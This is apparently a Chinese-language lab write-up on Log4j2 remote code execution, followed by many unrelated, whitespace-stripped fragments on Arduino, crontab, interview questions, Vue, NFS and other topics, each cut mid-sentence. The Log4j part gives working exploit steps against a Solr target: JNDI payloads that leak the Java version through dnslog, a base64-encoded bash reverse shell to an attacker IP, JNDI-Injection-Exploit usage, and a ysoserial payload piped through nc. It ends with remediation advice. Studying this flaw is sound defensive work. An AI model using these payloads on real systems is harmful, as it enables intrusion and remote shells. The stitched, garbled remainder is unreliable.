Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用
例如当开发者想在日志中打印今天的日期,则只需要输出${data:MM-dd-yyyy}
,此时log4j会将${}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”,这样做就不需要开发者自己去编写查找日期的代码。
表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。
其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最终要的原因是log4j还支持JNDI协议。
漏洞适用版本:2.0 <= Apache log4j2 <= 2.14.1
Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的Jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j2请求远程主机上的含有恶意代码的资源 并执行其中的代码,从而造成远程代码执行漏洞。
log4j是一款通用日志记录工具,开发人员可以使用log4j对当前程序状态进行记录。log4j的功能非常强大,开发人员除了直接记录文本外,还可以使用简单表达式记录动态内容,例如:
logger.info("system propety: ${sys:user.dir}");
${}
进行包裹,上述示例中,sys:user.dir
表示使用sys解析器,查找user.dir的内容,即在系统环境变量中查找user.dir,以替换 ${sys:user.dir}
进行打印。
log4j中除了sys解析器外,还有很多其他类型的解析器。其中,jndi 解析器就是本次漏洞的源头。
jndi 解析器将通过 jdk 获取 jndi 对象,并使用这个 jndi 对象替换原有文本进行打印。 我们将 jndi 对象理解成为一个从程序外部获取的 Java 程序对象就可以了。jdk中提供了多种不同 jndi 对象的获取方式,获取方式可以称为schema,所以正常的包含jndi的日志记录方式如下:
logger.info("system propety: ${jndi:schema://url}");
上述schema和url需替换成真实的内容方可生效。
其中,schema 是查找jndi对象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi几种schema。
url是几种不同的schema下jndi的路径。不同的schema,url路径的配置方法不同。常用的schame是ldap,其url写法比较简单:jndi:ldap://xxx.dnslog.cn
jdk将从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。
因此,如果攻击者能够控制日志打印的内容,就可以使目标服务器从攻击者指定的任意url地址下载代码字节流,攻击者在字节流中附带的代码就会在目标服务器上执行。
那么问题来了,攻击者如何控制服务器上记录的日志内容呢?
非常简单! 大部分web服务程序都会对用户输入进行日志记录。例如:用户访问了哪些url,有哪些关键的输入等,都会被作为参数送到log4j中,我们在这些地方写上 ${jndi:ldap://xxx.dnslog.cn}
就可以使web服务从xxx.dnslog.cn
下载字节流了。
开发人员一般会使用log4j2在日志中输出一些变量,log4j2 除了可以输出程序中的变量,它还提供了多种lookup功能插件,可以用来查找更多数据用于输出。lookup在log4j2中,就是允许在输出日志的 时候,通过多种方式去查找要输出的内容,其中就可以使用Jndi Lookup 。
JNDI(Java Naming and Directory Interface,JAVA命名和目录接口):它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。JNDI下面有很 多目录接口,用于不同的数据源的查找引用。
JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
LDAP(轻型目录访问协议):是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问 控制和维护分布式信息的目录信息。目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈 树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。
RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机 的对象的方法。
log4j2 远程代码执行漏洞大致过程(此处使用RMI,LDAP同理): 假设有一个Java程序,将用户名信息到了日志中,如下
a.攻击者发送一个HTTP请求,其用户名为${jndi://rmi服务器地址/Exploit}
b.被攻击服务器发现要输出的信息中有 ${}
,则其中的内容要单独处理,进一步解析是JNDI扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。
c.RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端 文件下载服务器上含有恶意代码的class文件。
d.被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。
e.被攻击服务器下载恶意class文件并执行其中的恶意代码
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
a.假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp}
b.被攻击服务器发现要输出的信息中有 ${}
,log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp
c.解析到ldap,就会去192.168.61.129:1099
的ldap服务找名为exp的资源,如果找不到就会去http服务中找在http中找到exp之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现exp是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害
靶机:192.168.72.128
攻击机:192.168.0.113
申请子域名
在注入点插入Payload
${jndi:idap://${sys:java.version}.dnslog}是利用JNDI发送DNS请求的Payload:
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.1c6zpg.dnslog.cn}
http://192.168.72.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.1c6zpg.dnslog.cn}
可以看到成功带出java版本,命令被执行
反弹shell需要利用到JNDIExploit
(1)准备反弹shell,并将此命令进行Base64编码
Base64编码可以选择在线编码
bash -i >& /dev/tcp/192.168.0.113/123 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEzLzEyMyAwPiYy
(2)使用JNDIExploit进行漏洞利用,将上述Base64编码结果 填入指定位置
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64编码后的Payload} | {base64,-d} | {bash,-i} -A "攻击机IP"
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEzLzEyMyAwPiYy}|{base64,-d}|{bash,-i}" -A "192.168.0.113"
(3)在攻击机开启监听
(4)修改Payload
使用刚刚JNDIExploit生成的Payload,如果不成功可以把生成的五个Payload都尝试一下
http://192.168.72.128:8983/solr/admin/cores?action=${jndi:rmi://192.168.0.113:1099/t9c5yy}
(5)成功反弹Shell
(6)修复建议
更新log4j至 rc2
配置防火墙策略,禁止主动连接外网设备
升级受影响的应用及组件
过滤相关的关键词,比如${jndi://*}
限制JNDI默认可以使用的协议
限制可以通过LDAP访问的服务器和类
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码
攻击者可以通过发送一个特别制作的2进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。
环境启动后,会在4712端口开启一个TCPserver。
用ysoserial生成payload,然后直接发送给被害者主机就可以
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/YikJiang" | nc 192.168.72.128 4712
docker exec -it a580281f7196 /bin/bash
报错信息:[root@localhostbin]#bashstartup.sh-mstandalone which:nojavacin(/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin) readlink:缺少操作数 Try'readlink--help'formoreinformation. dirname:缺少操作数 Try'dirname--help'formoreinformation. ERROR:PleasesettheJAVA_HOMEvariableinyourenvironment,Weneedjava(x64)!jdk8orlaterisbetter!!! 复制解决方法: 配置JAVA_HOME[root@localhost~]#whichjava//找到jdk位置 /usr/bin/java [root@localhost~]#ll/usr/bin/java lrwxrwxrwx.1rootroot222月2412:26/usr/bin/java->
目录1、实验目的2、实验环境3、程序设计4、实验演示1、实验目的利用热敏电阻和LIAT中的热敏电阻函数节点,通过ArduinoUno控制板的模拟端口采集与热敏电阻串联电阻的分压值上传给LabVIEW软件,并除以温度系数以获得温度值,实现一个温度计的功能。2、实验环境将热敏电阻与10KΩ电阻串联起来,热敏电阻另一端接至ArduinoUno控制板上的+5V,10KΩ电阻另一端接至ArduinoUno控制板上的GND上,将热敏电阻与10KΩ电阻的连接处接至模拟引脚A2上,如下图所示:3、程序设计LabVIEW的前面板如下图所示:程序框图如下图所示:LabVIEW程序首先通过设置的串口号与ArduinoUno控制板建立连接,然后进入While循环中,在循环中不断调用热敏电阻专用的ThermistorRead函数节点来读取温度值。最后,断开与ArduinoUno控制板的连接。4、实验演示点击运行按钮,LabVIEW程序开始执行,在AnalogPin选择A2,可以看到前面板上的温度计显示当前的温度。项目资源下载请参见:LabVIEW控制Arduino采集热敏电阻温度数值-单片机文档类资源-CSDN
序本文主要研究一下zerolog的encoderencodergithub.com/rs/zerolog@v1.20.0/encoder.gotypeencoderinterface{ AppendArrayDelim(dst[]byte)[]byte AppendArrayEnd(dst[]byte)[]byte AppendArrayStart(dst[]byte)[]byte AppendBeginMarker(dst[]byte)[]byte AppendBool(dst[]byte,valbool)[]byte AppendBools(dst[]byte,vals[]bool)[]byte AppendBytes(dst,s[]byte)[]byte AppendDuration(dst[]byte,dtime.Duration,unittime.Duration,useIntbool)[]byte AppendDurations(dst[]byte,vals[]time.Duration,unittime.Duration,useIntbool)[]byte AppendE
在CentOS下,可以使用crontab进行定时任务的处理。一、crontab的安装默认情况下,CentOS7中已经安装有crontab,如果没有安装,可以通过yum进行安装。yuminstallcrontabs二、crontab的定时语法说明corntab中,一行代码就是一个定时任务,其语法结构可以通过这个图来理解。字符含义如下:*代表取值范围内的数字 /代表”每” –代表从某个数字到某个数字 ,代表离散的取值(取值的列表) 一些常用的时间写法如下:*****//每分钟执行 **/4***//每4小时执行 04***//每天4点执行 012*/2**//每2天执行一次,在12点0分开始运行 ****0//每周日执行 ****6,0//每周六、日执行 5****//每小时的第5分钟执行 三、配置定时执行python脚本由于是需要定时执行python脚本,所以应该使用如下命令:pythonxxx.py但是非常重要的一点是要用绝对路径写到命令,否则定时运行失败。因此我们需要先弄清楚python的具体路径。我们在服务器上有python2和python3两个版本,通过如下命令来查看其安装路
一、目的做这个项目的初衷是因为我去年在微信卖老家水果,好多朋友下单后都问我快递单号,每天发货后我都要挨个甄别这个人是哪个快递信息,很麻烦一部小心就搞错了。基于这件小事我有了自助快递查询的这个想法。将发货的快递信息导入到我的系统里,用户访问我的系统,通过输入手机号就可以查看自己的快递物流信息。 项目是去年8月写的,一直搁浅在哪,最近无意间翻看我发的那篇文章自助快递单号查询阅读量竟然都1.8w了,有图有真相。这着实让我很震惊,看来自助快递查询这块确实是个热点。今天我就讲一下我手撸的快递查询系统。二、开发项目地址:https://github.com/hellowHuaairen/kuaidi 有兴趣的可以直接下载源码,觉得项目不错的伙伴记得点个star,谢谢啦!2.1技术栈项目涉及到的技术栈有:SpringBoot:一款Java微服务框架。Springboot是Spring家族中的一个新框架,它用来简化Spring应用程序的创建和开发。Mybitas:一款ORM框架,即对象关系映射。ORM框架的作用是把持久化对象的保存、修改、删除等操作,转换成对数据库的操作。Jquery:一个轻量级的写的
在应用中我们经常会用到一些统计数据,例如当前所有(或者满足某些条件)的用户数、所有用户的最大积分、用户的平均成绩,用户的银行卡张数等等,ThinkPHP为这些统计操作提供了一系列的内置方法.方法说明Count统计数量,参数是要统计的字段名(可选)Max获取最大值,参数是要统计的字段名(必须)Min获取最小值,参数是要统计的字段名(必须)Avg获取平均值,参数是要统计的字段名(必须)Sum获取总分,参数是要统计的字段名(必须)实例: 如果想要知道一个用户的银行卡张数,并且实时更新显示出来.可以这样publicfunctiontest(){ $map['uid']='58'; $user=D('card'); if($data=$user->where($map)->find()){ $cardAmount=$user->where(['uid'=>'58'])->count(); $data['card_amount']=$cardAmou
秋招结束,总结了一下从寒假回来开始的实习生招聘和秋招面经,过来回馈一下牛客网。1、一面23分钟看了你的博客,写的很多,介绍一个你研究最深入的领域吧我说了Spring的IOC再介绍下aop吧算法题twosum和threesum介绍下数据库的索引又问了简历里的专利评价下你自己因为当时刚提交简历还没做测评,我问他测评还需不需要做,他说测评还是要做的,但是当我面完网易去做测评的时候发现编程题的链接已经打不开了,测评题随便做了两道就直接关了,因为当时面了一天试实在太累。2、二面41分钟自我介绍介绍个印象最深的项目,负责的模块、遇到的问题,全程都是我再说,他没有提问题算法:二叉树转换成有序双向链表。不知道是不是故意的,他没有说二叉搜索树,然后我问了他,他说是二叉搜索树。要求我写代码然后读给他算法:双向链表中插入一个结点算法:把一个二维数组顺时针旋转90度。这个题因为以前做过还记下来了,我就说先对角线反转再中心反转,但是他好像没太明白,说有没有更优雅的方法,然后我又和他解释了一下,我觉得O(n)应该是最优的了吧数据库,给一张学生的表,找出成绩在10到15名的学生。说出自己的两个优点和缺点,我说完他还
拓扑排序结合代码的完整理解 确定比赛名次TimeLimit:2000/1000MS(Java/Others) MemoryLimit:65536/32768K(Java/Others) TotalSubmission(s):9284 AcceptedSubmission(s):3613 ProblemDescription有N个比赛队(1<=N<=500),编号依次为1,2,3,。。。。,N进行比赛,比赛结束后,裁判委员会要将所有参赛队伍从前往后依次排名,但现在裁判委员会不能直接获得每个队的比赛成绩,只知道每场比赛的结果,即P1赢P2,用P1,P2表示,排名时P1在P2之前。现在请你编程序确定排名。Input输入有若干组,每组中的第一行为二个数N(1<=N<=500),M;其中N表示队伍的个数,M表示接着有M行的输入数据。接下来的M行数据中,每行也有两个整数P1,P2表示即P1队赢了P2队。Output给出一个符合要求的排名。输出时队伍号之间有空格,最后一名后面没有空格。 其他说明:符合条件的排名可能不是唯一的,此时要求输出时编号小的队伍
腾讯云产业分析(IndustryAnalysis,IEA)以国民经济行业分类标准为模型基础,建立一套基于属地产业链的产业研判、动态追踪、智能推荐与搜索等功能的产业分析大数据平台,帮助摸清产业家底、抓准全国靶向企业,服务产业链招商。 产品功能产业研判基于产业链现状图、全景图两图差异对比分析。了解现状与目标的差距,找到产业链突围方向,精准挖掘靶向企业。 产业地图通过全国产业地图监测国家层面的整体走势和趋势,研判城市产业发展的走势,评估整体趋势匹配度。结合区域对比分析,帮助更加精准找到自身在全国、区域、竞争省市的优异,找到产业下一步发展的抓手。 产业动态监测跟踪国家产业发展导向,评估自身产业与国家导向的匹配性;监测城市战略性产业发展水平,对标绿色产业、高技术产业等导向产业,评估匹配性。 靶向追踪帮客户建立自己的关注企业库,方便快捷管理潜在招商商机企业、本地企业等多维度企业,提升工作便捷及效率。 招商触达找到与本地注册企业有投资关系、技术合作关系、金融机构投资关系、招投标关系的全国企业,或从产业链上下游招商相关联的企业,作为招商的靶向企业库之一,缩短招商触达路径。
解决行为上瘾 实验【猫咪黑屋子】 一半小猫竖条纹笼子,另一半横条纹笼子 真实世界,走路会撞到桌子腿,扔球无动于衷 行为上瘾如同腌黄瓜不会恢复 小孩扔给电视机ipad手机?难以复原 注意力精力App占用用户时间 乔布斯不让孩子用ipad、克里斯安德森不能使用电子设备到卧室,健身专家远离电子产品钩子效应 远离手机视线内影响生活 上瘾标志丧失的继续还是停止行为选择能力当事人无法可靠预测相关行为发生持续时间停止时间。 2008年18分钟在手机 2015年2小时48分钟 2000年12秒注意力 2012年8秒金鱼9秒注意力 1.强迫社交2.忽略线下3.过早成熟4.游戏成瘾 老鼠实验:电击隔膜大脑兴奋多巴胺喷涌 环境对成瘾性症状有影响环境非常重要 华盛顿男孩:西雅图重启戒网瘾机构换个城市回华盛顿又开始玩游戏5个星期游戏重了27公斤 成瘾不是喜欢是渴望【目标之后有巨大的改变】 成瘾游戏: 诱人的目标提供了大量的目标 积极的反馈点赞是我们现代的可卡因 赌博游戏吸引人的原因 刺耳美女撒花 差一点赢比总是赢还
先抛出个问题 我们为什么要测试大数据 什么大数据测试 大数据测试可以定义为涉及检查和验证大数据应用程序功能的过程。大数据是传统存储系统无法处理的大量数据的集合。 策略 测试处理数TB数据的应用程序将从一个全新的级别和开箱即用思维中学习技能。质量保证团队关注的核心和重要测试基于三种方案。即 批处理数据处理测试 批处理数据处理测试涉及在批处理模式下使用批处理存储单元(如HDFS)处理应用程序时运行数据的测试过程。批处理测试主要涉及 针对有故障的输入运行应用程序 更改数据量 实时数据处理测试 当应用程序处于实时数据处理模式时,实时数据处理测试处理数据。应用程序使用实时处理工具(如Spark)运行。 实时测试涉及在实时环境中测试的应用程序,并检查其稳定性。 交互式数据处理测试 交互式数据处理测试集成了与应用程序交互的实际测试协议,就像真实用户的观点一样。交互式数据处理模式使用交互式处理工具,如HiveSQL。 大数据 Big-Data在处理传统数据处理单元无法处理的多种格式数据方面的优势而声名大噪。大数据可以处理的数据格式如下所示。 结构化数据 在易于访问的行和列下有意义地组织的表
试答系列:“西瓜书”-周志华《机器学习》习题试答 系列目录 [第01章:绪论] [第02章:模型评估与选择] [第03章:线性模型] [第04章:决策树] [第05章:神经网络] [第06章:支持向量机] 第07章:贝叶斯分类器 第08章:集成学习 第09章:聚类 第10章:降维与度量学习 第11章:特征选择与稀疏学习 第12章:计算学习理论(暂缺) 第13章:半监督学习 第14章:概率图模型 (后续章节更新中...) 目录14.1试用盘式记法表示条件随机场和朴素贝叶斯分类器.14.2试证明图模型中的局部马尔科夫性:给定某变量的邻接变量,则该变量条件独立于其他变量.14.3试证明图模型中的成对马尔科夫性:给定其他所有变量,则两个非邻接变量条件独立.14.4试述马尔科夫随机场中为何仅需对极大团定义势函数。14.5比较条件随机场和对率回归,试析其异同。14.6试证明变量消去法的计算复杂度随图模型中极大团规模的增长而呈指数增长,但随结点数的增长未必呈指数增长。 14.1试用盘式记法表示条件随机场和朴素贝叶斯分类器. 答:见下图。其中,对于朴素贝叶斯分类器的盘式记法是毫无悬念的。而对于
Python通过xlwings读取Excel数据 去年底公司让我做设备管理,多次委婉拒绝,最终还是做了。其实我比较喜欢技术。做管理后发现现场没有停机率统计,而原始数据有,每次要自己在Excel中填写数据,感觉特麻烦了,就写了这个自动化操作Excel的程序,以前要半天的工作量,用Python不到10s。程序比较简单,直接上程序。 #-*-coding:utf-8-*- importxlwingsasxw importpandasaspd fromdatetimeimportdatetime #统计时间,只有时间要改 START_TIME='2018-07-0100:00:00' END_TIME='2018-07-3123:59:00' START_ROW=2#处理Excel文件开始行 END_ROW=200#处理Excel结束行 #天数*每天工作时间*分钟 WORK_TIME=30*22*60 #关键设备清单 key_machine=['609','610','621','622','623','624', '627','628','636','638','667','670
目前面试了多家大数据开发工程师,成长了很多,也知道了很多知识,下面和大家分享一下我遇到的面试题和答案。 1.kafka集群的规模,消费速度是多少。 答:一般中小型公司是10个节点,每秒20M左右。 2.hdfs上传文件的流程。 答:这里描述的是一个256M的文件上传过程 ①由客户端向NameNode节点节点发出请求 ②NameNode向Client返回可以可以存数据的DataNode这里遵循机架感应原则 ③客户端首先根据返回的信息先将文件分块(Hadoop2.X版本每一个block为128M而之前的版本为64M ④然后通过那么Node返回的DataNode信息直接发送给DataNode并且是流式写入 同时会复制到其他两台机器 ⑤dataNode向Client通信表示已经传完数据块同时向NameNode报告⑥依照上面(④到⑤)的原理将所有的数据块都上传结束向NameNode报告表明已经传完所有的数据块 。 3.讲述一下mapreduce的流程(shuffle的sort,partitions,group) 首先是Mapreduce
4.寻找两个正序数组的中位数 1classSolution{ 2publicdoublefindMedianSortedArrays(int[]nums1,int[]nums2){ 3intn=nums1.length; 4intm=nums2.length; 5 6/** 7*如果(n+m)为奇数,比如3,那么(n+m+1)/2和(n+m+2)/2都等于2。第2个数为中位数 8*如果(n+m)为偶数,比如4,那么(n+m+1)/2等于2而(n+m+2)/2等于3。第2,3个数均值为中位数 9*/ 10intleft=(n+m+1)/2; 11intright=(n+m+2)/2; 12 13return(getKth(nums1,0,n-1,nums2,0,m-1,left)+ 14getKth(nums1,0,n-1,nums2,0,m-1,right))*0.5; 15} 16 17//该函数作用为:取两数组合并后第k小的数 18//start与end为索引,k为求第k小数 19publicintgetKth(int[]nums1,intstart1,intend1,int[]
关于抽取bert里面第几层的代码: ( #我们取零,因为据我了解,这就是[CLS]令牌...#想法是也要合并最后4层而不是最后一层,因为它太接近输出了#层,它可能没有那么有效,因为它受到o/p的更多控制。 ) https://www.kaggle.com/c/google-quest-challenge/discussion/123770 classBertForSequenceClassification_v2(BertPreTrainedModel): r""" **labels**:(`optional`)``torch.LongTensor``ofshape``(batch_size,)``: Outputs:`Tuple`comprisingvariouselementsdependingontheconfiguration(config)andinputs: **loss**:(`optional`,returnedwhen``labels``isprovided)``torch.FloatTensor``ofshape``(1,)``: Classific
生命周期图示(来自vue官网) 一、⽣命周期是什么?Vue实例有⼀个完整的⽣命周期,也就是从开始创建、初始化数据、编译模版、挂载Dom->渲染、更新->渲染、卸载等⼀系列过程,我们称这是Vue的⽣命周期。 二、各个⽣命周期的作⽤ 1、创建前(beforeCreate):对应钩子函数是beforeCreate,组件实例被创建之初,组件的属性⽣效之前。实例初始化阶段,数据观察和事件机制都还没有形成,不能获取到DOM 节点 2、创建后(created):对应钩子函数是Created, 组件实例已经完全创建,属性也绑定,但真实dom还没有⽣成,$el还不可⽤。(vue实例已创建,但是还是不能获取DOM节点) 3、载入前(beforeMount):对应钩子函数beforeMount,在挂载开始之前被调⽤:相关的render函数⾸次被调⽤。仍然不能获取DOM元素,此时vue的根元素已经创建,下面vue对DOM的操作将围绕这个根节点展开。beforeMount是过渡性阶段,一个项目一般只能用一次 4、载入后(mounted):对应钩子函数mounted
1.安装nfsserver,将所有的机器都安装包括客户端,如果客户端不装,可能会出问题,只是客户端不要启动就可以了 yuminstallnfs-utilsrpcbind–y 2.启动服务 /etc/init.d/rpcbindstatus 查看是否启动 /etc/init.d/rpcbindstart启动 /etc/init.d/rpcbindstop 停止 Rpcbind主端口为111 已知某个服务的端口是111,如何找出相关的服务: lsof-i:111 查看rpcbind服务端口: netstat-lntup|greprpcbind 查看是否开启启动 chkconfig--listrpcbind 查看rpcbind池是否使用 rpcinfo-plocalhost 查看NFS是否启动 /etc/init.d/nfsstatus 启动nfs服务 /etc/init.d/nfsstart nfs默认端口2049 netstat-lntup|grep2049 将NFS加入启动 chkconfig--list
推荐使用全局的方式 1.每个接口单独传 importcom.google.common.collect.Lists; importorg.springframework.beans.factory.annotation.Value; importorg.springframework.context.annotation.Bean; importorg.springframework.context.annotation.Configuration; importorg.springframework.web.servlet.config.annotation.EnableWebMvc; importspringfox.documentation.builders.ApiInfoBuilder; importspringfox.documentation.builders.ParameterBuilder; importspringfox.documentation.builders.PathSelectors; importspringfox.documentation.bui